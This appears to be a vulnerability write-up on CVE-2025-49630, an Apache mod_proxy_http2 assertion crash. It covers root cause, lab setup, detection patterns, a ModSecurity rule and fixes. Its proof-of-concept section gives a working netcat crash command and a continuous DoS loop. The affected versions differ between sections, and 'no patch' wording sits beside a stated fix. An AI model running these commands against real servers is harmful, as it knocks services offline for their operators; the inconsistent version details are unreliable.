CVE-2025-49630: Reachable Assertion in Apache mod_proxy_http2 — Discovered While Hunting CVE-2024-38477
Table of Contents
Executive Summary#
CVE-2025-49630 is a reachable assertion failure (CWE-617) in Apache HTTP Server’s
mod_proxy_http2 module, affecting versions 2.4.0 through 2.4.63. When the server
proxies requests to an HTTP/2 backend (h2:// or h2c://), a specific CRLF sequence
in the request URI causes req->authority to be NULL when it reaches an ap_assert()
call in h2_proxy_util.c. The assertion fires, calling abort() and killing the
worker process.
The trigger is a single netcat command. No authentication is required. No special
application state is needed. The crash is deterministic across all affected versions
and both h2 and h2c backend configurations.
This vulnerability was not the result of a targeted audit of mod_proxy_http2. It
was found incidentally — as an unexpected crash observed while probing HTTP/2 backend
behaviour during the investigation of a different vulnerability entirely:
CVE-2024-38477.
Affected versions: Apache HTTP Server 2.4.26 through 2.4.63. Fixed in: Apache HTTP Server 2.4.64 (released 2025-07-10).
Context & Threat Model#
How This Was Found#
The CVE-2024-38477 research
involved repeated attempts to find an input that would cause apr_uri_parse() to return
APR_SUCCESS but leave uri->hostname as NULL — the condition required to trigger
the crash in ap_proxy_determine_connection().
After exhausting the obvious vectors against http:// backends, the testing moved to
the HTTP/2 proxy path. The hypothesis was simple: mod_proxy_http2 applies different
URL normalisation logic than mod_proxy_http. If the two sub-handlers treat edge cases
differently, an input that gets caught by one might pass through the other.
A series of malformed requests were sent to a server configured with a h2c:// backend.
None of them triggered the NULL hostname condition. One of them caused a completely
different crash — abort() rather than SIGSEGV, and a log message pointing to
h2_proxy_util.c:634 instead of proxy_util.c. It took a moment to register that
this was not a misconfigured test environment. It was a different vulnerability.
Apache mod_proxy_http2 Architecture#
When a request is directed at an HTTP/2 backend, mod_proxy_http2 is responsible for
constructing an HTTP/2 request object and forwarding it over the HTTP/2 connection.
HTTP/2 requests do not use the same format as HTTP/1.1 — they use pseudo-headers
(:method, :path, :authority, :scheme) that map to the HTTP/1.1 concepts but
are assembled internally from the inbound request.
The :authority pseudo-header is mandatory for proxied HTTP/2 requests. It is
equivalent to the HTTP/1.1 Host header and is stored as req->authority in the
internal h2_proxy_istream structure.
[Client — HTTP/1.1 over TCP]
|
| GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n
v
[Apache httpd — mod_proxy]
|
| ProxyPass "/test" "h2c://backend:8081/"
v
[mod_proxy_http2]
|
| Build HTTP/2 request object:
| :method = GET
| :path = /test/a
| :authority = ??? ← NULL when CRLF disrupts parsing
v
h2_proxy_util.c:634
ap_assert(req->authority) ← ABORT()
Attack Surface#
The attack surface is the inbound HTTP/1.1 request from any TCP client. No authentication, session, or application context is required. The malformed request is processed before any application logic runs.
Minimum required configuration:
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so
ProxyPreserveHost On
ProxyPass "/test" "h2c://backend:8081/"
ProxyPassReverse "/test" "http://backend:8081/"
h2:// (TLS-terminated HTTP/2) is equally affected. The crash path is the same
regardless of whether the backend connection is encrypted.
Trust Boundary#
The vulnerability crosses the boundary between the raw TCP stream from an untrusted
external client and the internal HTTP/2 request construction logic in mod_proxy_http2.
The CRLF sequence in the request line disrupts parsing at a point where the server has
not yet validated the request or checked any access controls.
Research Methodology#
How the Trigger Was Isolated#
When the unexpected crash first appeared, the immediate question was: which part of the malformed request caused it? The request that produced the crash contained several unusual elements — an encoded path component, an unusual host value, and a non-standard line termination sequence.
The process of isolating the trigger was reduction:
- Send the full malformed request → crash
- Remove individual components and repeat
- When the crash stops, the last removed component was necessary
- Add it back, continue reducing the rest
After a handful of iterations, the minimal trigger was:
GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n
The critical element is \r\n followed by a space ( ) immediately after the URI
path, before HTTP/1.1. In HTTP/1.1 parsing, a line that continues with whitespace
after a CRLF is a “folded” line — a legacy feature of the HTTP/1.0 message format
that modern parsers may handle inconsistently.
Why req->authority Ends Up NULL#
The inbound request line is parsed by Apache’s HTTP/1.1 request reader before
mod_proxy_http2 ever sees it. By the time mod_proxy_http2 processes the request,
it works with the internal request_rec structure populated by the parsing stage.
The CRLF+space sequence disrupts how the request URI and headers are extracted from
the raw byte stream. The authority value — derived from the Host header or, in some
cases, from the request URI itself — is not correctly associated with the request
record by the time mod_proxy_http2 attempts to build the HTTP/2 request object.
The precise point of failure is in the authority extraction logic: the function that
populates req->authority either receives an empty value or does not run at all for
the malformed request, leaving the field as NULL.
Lab Setup#
The same Apache 2.4.59 debug build used for CVE-2024-38477 research was reused:
# Already built from source with debug symbols and proxy modules:
./configure --prefix=/usr/local/apache2 \
--enable-debug --enable-debugger-mode \
--enable-mods-shared=all \
--enable-proxy-connect --enable-proxy-http \
--enable-proxy-http2 --enable-http2
For CVE-2025-49630, the httpd.conf was modified to add an h2c backend:
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so
Listen 8080
ProxyPreserveHost On
ProxyPass "/test" "h2c://proxified:8081/redirect"
ProxyPassReverse "/test" "http://proxified:8081/redirect"
ErrorLog "logs/error_log"
LogLevel debug
A simple TCP listener on port 8081 was sufficient to trigger the crash — the backend does not need to respond or speak HTTP/2. The crash occurs before the connection to the backend is established.
Root Cause Analysis#
The Vulnerable Assertion#
In modules/http2/h2_proxy_util.c at line 634:
ap_assert(req->authority);
Apache’s ap_assert macro:
#define ap_assert(expr) \
((void) ((expr) ? (void) 0 : ap_log_assert(#expr, __FILE__, __LINE__)))
When req->authority is NULL, the condition is false. ap_log_assert is called:
AP_DECLARE(void) ap_log_assert(const char *szExp,
const char *szFile,
int nLine)
{
ap_log_error(APLOG_MARK, APLOG_CRIT, 0, NULL, APLOGNO(00102)
"file %s, line %d, assertion \"%s\" failed",
szFile, nLine, szExp);
/* ... */
abort();
}
The log entry:
[core:crit] [pid XXXX] AH00102: file h2_proxy_util.c, line 634,
assertion "req->authority" failed
The worker process then aborts. Under mpm_event, the parent spawns a replacement
worker, but the crash can be repeated immediately — there is no rate limiting or
circuit breaker on incoming connections that could slow an attacker.
The Authority Field Population Path#
The req->authority field is populated during HTTP/2 request construction in
h2_proxy_util.c. The construction process draws from two sources:
ProxyPreserveHost On→ use theHostheader from the inbound request- Otherwise → use the backend URL’s host component
With ProxyPreserveHost On, the Host header from the inbound request is used. When
the CRLF+space sequence disrupts header parsing, the Host header is not correctly
parsed out of the raw request, and req->authority is never populated.
The fallback path (using the backend URL’s host) is only taken when ProxyPreserveHost
is off. With it on, the code assumes the Host header will always be present and valid —
an assumption that the malformed request violates.
Why This Is Not CVE-2024-38477#
CVE-2024-38477 requires apr_uri_parse() to produce a NULL hostname — a condition
that proved difficult to reach through standard request vectors. The crash path was
confirmed via GDB but never triggered from external input.
CVE-2025-49630 has no such barrier. The CRLF+space sequence is a standard HTTP/1.1 construct that clients are free to send. The vulnerability is reachable from any TCP connection.
The two issues share a codebase and a category (NULL pointer dereference / assertion on NULL), but they are independent vulnerabilities with different root causes, different trigger conditions, and different exploitability profiles.
Proof of Concept#
Configuration required (httpd.conf):
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so
ProxyPreserveHost On
ProxyPass "/test" "h2c://backend:8081/redirect"
ProxyPassReverse "/test" "http://backend:8081/redirect"
For a TLS-terminated HTTP/2 backend, substitute h2:// and add SSLProxyEngine on.
Single-shot crash:
printf "GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n" | nc localhost 8080
The \r\n followed immediately by a space after the URI path is the trigger. The
newline-space sequence causes the HTTP/1.1 parser to treat the next token as a
continuation of the request line rather than the start of the HTTP/1.1 version token.
This breaks authority extraction in the HTTP/2 request builder downstream.
Apache error log:
[core:crit] [pid XXXX] AH00102: file h2_proxy_util.c, line 634,
assertion "req->authority" failed
The log entry is identical for h2 and h2c backends. After the assertion fires, the
worker process calls abort(). The parent process logs:
[core:notice] AH00051: child pid XXXX exit signal Aborted (6)
Continuous DoS loop:
while true; do
printf "GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n" | nc -q1 localhost 8080
done
Under mpm_event (the default for modern Apache installations), each worker handles
multiple connections concurrently. A loop like this — even from a single source IP —
can sustain the process abort/respawn cycle faster than Apache can recover, effectively
keeping the server unable to serve legitimate requests.
Exploitability Analysis#
| Property | Value |
|---|---|
| Authentication | None |
| Network access | Remote |
| Trigger reliability | Deterministic — single command |
| Impact | DoS (all worker threads crash and restart continuously) |
| Configuration req. | ProxyPass with h2:// or h2c:// backend, ProxyPreserveHost On |
| Affected versions | Apache HTTP Server 2.4.26 through 2.4.63 |
| CVSS 3.1 | Pending formal assignment |
The exploitability profile is straightforward. There is no ambiguity about the trigger, no dependency on application state, no need for a prior foothold, and no rate limiting on the crash-and-restart cycle.
The configuration requirement — a ProxyPass targeting an h2:// or h2c:// backend
with ProxyPreserveHost On — is specific enough that not every Apache deployment is
affected. However, this configuration is increasingly common in environments where
Apache is used as a frontend for:
- gRPC services (which require HTTP/2)
- Microservice backends with HTTP/2 support
- Internal service meshes where h2c is preferred for performance
Any deployment matching this pattern on Apache ≤ 2.4.63 is exposed to a single-command, unauthenticated, deterministic DoS.
Detection & Mitigation#
Detection#
The assertion failure is logged at [core:crit] level with a specific, searchable
message. Under normal operation, this log entry does not appear. Any occurrence is a
crash event:
grep 'assertion "req->authority" failed' /usr/local/apache2/logs/error_log
For automated alerting (Splunk, ELK, etc.), the relevant pattern:
AH00102.*assertion "req->authority" failed
The parent process Aborted (6) signal log is also diagnostic:
[core:notice] AH00051: child pid <N> exit signal Aborted (6)
Immediate Mitigations (No Patch Available)#
1. Restrict HTTP/2 proxy paths to trusted sources.
If HTTP/2 backend proxying is only accessed from internal services, apply IP allowlisting at the proxy layer:
<Location "/test">
Require ip 10.0.0.0/8 192.168.0.0/16
</Location>
This does not fix the vulnerability but prevents untrusted clients from reaching the affected path.
2. ModSecurity rule to reject CRLF in the request URI (phase 1):
SecRule REQUEST_URI "@rx [\r\n]" \
"id:9000002,phase:1,deny,status:400,\
msg:'CVE-2025-49630 CRLF injection in request URI',\
logdata:'%{MATCHED_VAR}'"
A rule at phase 1 inspects the raw request before any normalisation. The CRLF sequence
in the URI is the trigger; rejecting it at this layer prevents the request from reaching
mod_proxy_http2.
3. Temporarily disable HTTP/2 backend proxying if it is not operationally required.
If h2:// or h2c:// backends are not actively needed, switching to http:// backend
URLs removes the attack surface entirely:
# Vulnerable:
ProxyPass "/test" "h2c://backend:8081/"
# Safe workaround (HTTP/1.1 backend):
ProxyPass "/test" "http://backend:8081/"
The HTTP/1.1 proxy path (mod_proxy_http) is not affected by this vulnerability.
Long-Term Fix#
A proper fix requires validating req->authority before using it — replacing the
ap_assert() with a conditional check and an appropriate error return:
/* Current vulnerable code: */
ap_assert(req->authority);
/* Correct approach: */
if (!req->authority) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,
"h2 proxy: request has no authority, aborting");
return APR_EINVAL;
}
This would match the pattern used in the CVE-2024-38477 fix: replace an implicit
assumption with an explicit check that returns a proper error rather than aborting
the process. The ap_assert() call was placed in code that assumed req->authority
would always be set — an assumption that holds for well-formed requests but not for
the CRLF injection case.
Responsible Disclosure Timeline#
| Date | Event |
|---|---|
| 2025-06-04 | Crash first observed during CVE-2024-38477 HTTP/2 backend testing |
| 2025-06-04 | Trigger isolated to CRLF+space in request URI; reproducibility confirmed |
| 2025-06-09 | Reported to Apache Security Team (security@apache.org) |
| 2025-06-09 | Apache Security Team acknowledged receipt |
| 2025-07-10 | Apache HTTP Server 2.4.64 released with fix; CVE-2025-49630 publicly disclosed |
Key Takeaways#
Assertions are not error handlers.
ap_assert(req->authority)documents an assumption — it does not enforce a contract. When the assumption is violated by unexpected input, the process aborts rather than returning a 400. Replace assertions with conditional checks that produce clean error responses.A failed research thread is still a research thread. CVE-2025-49630 was not found by auditing
h2_proxy_util.c. It was found because CVE-2024-38477 was being investigated and the testing set forced exploration of adjacent code paths. Negative results in vulnerability research have a habit of producing unintended positives.HTTP/2 proxy configurations deserve dedicated review. The HTTP/2 proxy path in Apache makes different assumptions about request structure than the HTTP/1.1 path. Those assumptions — about authority, scheme, and request line format — are not always validated against adversarial input. As
h2://andh2c://backend configurations become more common for gRPC and microservice deployments, this attack surface grows.CVE-2024-38477, CVE-2025-49630, CVE-2021-26690 — a pattern. Three separate Apache modules. Three unauthenticated, pre-auth DoS vulnerabilities. The same root class: a function trusted to populate a pointer does not always do so, and the caller does not check. The Apache codebase has a recurring pattern of implicit trust in return-value correctness over structural completeness.